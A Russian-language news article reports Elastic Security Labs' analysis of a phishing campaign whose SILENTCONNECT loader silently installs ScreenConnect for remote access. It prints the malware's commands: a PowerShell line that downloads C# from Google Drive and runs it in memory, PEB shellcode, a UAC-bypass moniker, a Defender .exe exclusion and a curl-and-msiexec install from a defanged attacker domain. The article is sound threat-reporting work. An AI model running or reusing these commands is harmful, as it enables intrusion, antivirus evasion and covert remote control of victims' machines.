15 сек тишины, 0 сохраненных файлов и 100% контроля. Новый загрузчик показал мастер-класс по обходу защиты.

Аналитики Elastic Security Labs обнаружили новую вредоносную кампанию с ранее не описанным загрузчиком. На входе всё выглядит почти буднично: письмо с приглашением, ссылка, скачанный файл. Дальше начинается многоступенчатая цепочка, в которой злоумышленники стараются как можно дольше оставаться в тени и использовать для этого обычные инструменты Windows и доверенные онлайн-сервисы.
Атака начинается с фишингового письма, замаскированного под приглашение к участию в проекте или отправке коммерческого предложения. Получателю предлагают перейти по ссылке, после чего его перебрасывает на подконтрольный злоумышленникам сайт. Там открывается страница с проверкой Cloudflare Turnstile. После нажатия на флажок на компьютер скачивается VBScript-файл, чаще всего с именем вроде E-INVITE.vbs.
Названия у таких файлов подбирают так, чтобы они выглядели как обычные рабочие документы или служебные материалы: например, Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs, Proposal-03-2026.vbs или CODE7_ZOOMCALANDER_INSTALLER_4740.vbs. Содержимое скриптов скрыто лишь частично. Исследователи отмечают, что внутри в качестве маскировки добавлен посторонний текст, не связанный с выполнением вредоносного кода, а нужные фрагменты собираются через функции Replace() и Chr(). Иными словами, в файле есть отвлекающий мусор для поверхностного просмотра, а реальная команда восстанавливается уже при выполнении.
После запуска скрипт вызывает PowerShell и подтягивает следующий этап цепочки. Полная команда выглядит так:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass
-command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null;
curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download'
-o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds
8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep
-Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source
-Language CSharp; [HelloWorld]::SayHello()""
Здесь важна вся последовательность. Сначала через штатный curl.exe с Google Drive скачивается файл FileR.txt и сохраняется в C:\Windows\Temp. Хотя расширение у него текстовое, внутри находится исходный код на C#. Затем PowerShell читает этот файл, компилирует код на лету через Add-Type и сразу запускает его в памяти как .NET-сборку. Полноценный исполняемый файл на диск при этом не записывается, что усложняет обнаружение.
Сам C#-код тоже скрыт не напрямую, а через технику разворачивания констант. Проще говоря, байтовые массивы не лежат в коде готовым куском, а собираются из множества отдельных выражений. Для аналитика такой фрагмент выглядит менее очевидно, чем привычный блок байтов или строка с шелл-кодом, а для защитных систем это создаёт дополнительные помехи при сигнатурном анализе.
Именно на этом этапе в цепочке появляется основной компонент, который исследователи назвали SILENTCONNECT. Это компактный .NET-загрузчик, задача которого сводится к одному: скачать и тихо установить ScreenConnect. Сам по себе ScreenConnect не является вредоносной программой. Это легитимный инструмент удалённого администрирования и мониторинга, который используют и в обычной ИТ-практике. Как раз поэтому подобная активность часто не вызывает немедленного подозрения.
Перед запуском полезной нагрузки SILENTCONNECT ждёт около 15 секунд, а затем переходит к работе с низкоуровневыми функциями Windows. Вредонос выделяет исполняемую область памяти через NtAllocateVirtualMemory с правами PAGE_EXECUTE_READWRITE и записывает туда небольшой фрагмент шелл-кода:
53 ; push rbx
48 31 DB ; xor rbx, rbx
48 31 C0 ; xor rax, rax
65 48 8B 1C 25 60000000 ; mov rbx, gs:[0x60] ; адрес PEB (x64)
48 89 D8 ; mov rax, rbx
5B ; pop rbx
C3 ; ret
Этот фрагмент нужен для получения адреса структуры Process Environment Block, или PEB. Через неё процесс может добраться до собственных внутренних структур и списков загруженных модулей. Вместо обращения к более привычным функциям Windows, которые часто контролируются или перехватываются средствами защиты, вредонос идёт коротким путём и работает ближе к внутреннему устройству процесса.
Дальше SILENTCONNECT использует вызовы из ntdll.dll и ole32.dll, настраивая делегаты для прямого обращения к таким функциям, как NtWriteVirtualMemory и CoGetObject. Смысл тот же: меньше опоры на высокоуровневые механизмы, которые чаще отслеживаются защитными продуктами.
Один из самых показательных этапов связан с подменой данных в PEB. Вредонос находит собственную запись в списке загруженных модулей и переписывает имя и путь так, чтобы вместо реального модуля там значились winhlp32.exe и c:\windows\winhlp32.exe. Многие средства мониторинга и EDR-системы используют PEB как доверенный источник информации о процессе. Из-за такой подмены вредонос начинает выглядеть менее подозрительно и маскируется под системный компонент.
Перед установкой ScreenConnect выполняется обход контроля учётных записей пользователей. Для этого используется COM-интерфейс с повышением привилегий, а строка монокера хранится в перевёрнутом виде:
:wen!rotartsinimdA:noitavelE
Если прочитать её в нормальном порядке, получится Elevation:Administrator!new. Такой приём нужен не для красоты, а как простая маскировка строки внутри кода. Если процесс ещё не запущен с повышенными правами, вредонос пытается получить их через интерфейс CMSTPLUA.
Параметры следующего этапа тоже спрятаны в развёрнутом виде. Они собираются из массива символов в обратном порядке. Первая часть команды добавляет исключение в Microsoft Defender для всех файлов с расширением .exe:
$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure)
-ExclusionExtension $s -Force;
После этого создаётся каталог C:\Temp, куда через curl.exe загружается установщик ScreenConnect, а затем он запускается через msiexec.exe в тихом режиме:
New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null;
curl.exe -L 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
-o 'C:\Temp\ScreenConnect.ClientSetup.msi';
Start-Process msiexec.exe '/i C:\Temp\ScreenConnect.ClientSetup.msi'
После установки клиент закрепляется в системе как служба Windows и начинает связываться с сервером злоумышленников по TCP-порту 8041. С этого момента атакующая сторона получает постоянный удалённый доступ к машине и может работать с ней вручную.
Инфраструктура кампании собрана из скомпрометированных сайтов и доверенных сервисов. Для доставки полезной нагрузки используются Cloudflare и Google Drive, а это заметно осложняет блокировку на сетевом уровне. Полностью резать доступ к таким площадкам компании обычно не могут, поэтому злоумышленники получают удобный канал, который не так просто отсечь без побочных последствий.
При этом сами операторы кампании допустили довольно грубую ошибку. Они повторно использовали один и тот же путь download_invitee.php на разных заражённых сайтах. Для исследователей это оказалось удобной зацепкой: по такому повторяющемуся URI удалось находить новые связанные узлы через поиск в VirusTotal и связывать между собой разные элементы кампании.
Параллельно аналитики обнаружили и другие схемы, завязанные на ту же инфраструктуру. Один из сайтов имитирует страницу DocuSign и сразу раздаёт заранее настроенный установщик ScreenConnect, вообще без SILENTCONNECT. Другой маскируется под страницу Microsoft Teams и приводит к установке агента Syncro. В обоих случаях злоумышленники снова делают ставку не на экзотическое вредоносное ПО, а на легитимные инструменты удалённого администрирования, которые в корпоративной среде часто воспринимаются как нормальная часть ИТ-ландшафта.
Elastic отдельно подчёркивает, что злоумышленники всё чаще выбирают именно такой путь. Вместо сложных цепочек с редкими семействами вредоносного ПО они берут стандартные компоненты Windows, доверенные облачные площадки и легальные средства удалённого доступа. В результате атака выглядит менее шумной и лучше смешивается с обычной системной активностью.
Именно в этом и заключается неприятная сторона кампании. Здесь почти нет громоздких модулей, редких техник или сложных эксплойтов. Вся цепочка собрана из небольшого количества собственного кода, штатных системных инструментов и сервисов, которые сами по себе не считаются подозрительными. По оценке аналитиков, такие сценарии будут встречаться всё чаще: не потому, что они технически сложнее, а потому, что они достаточно просты, тихи и удобны для злоумышленников.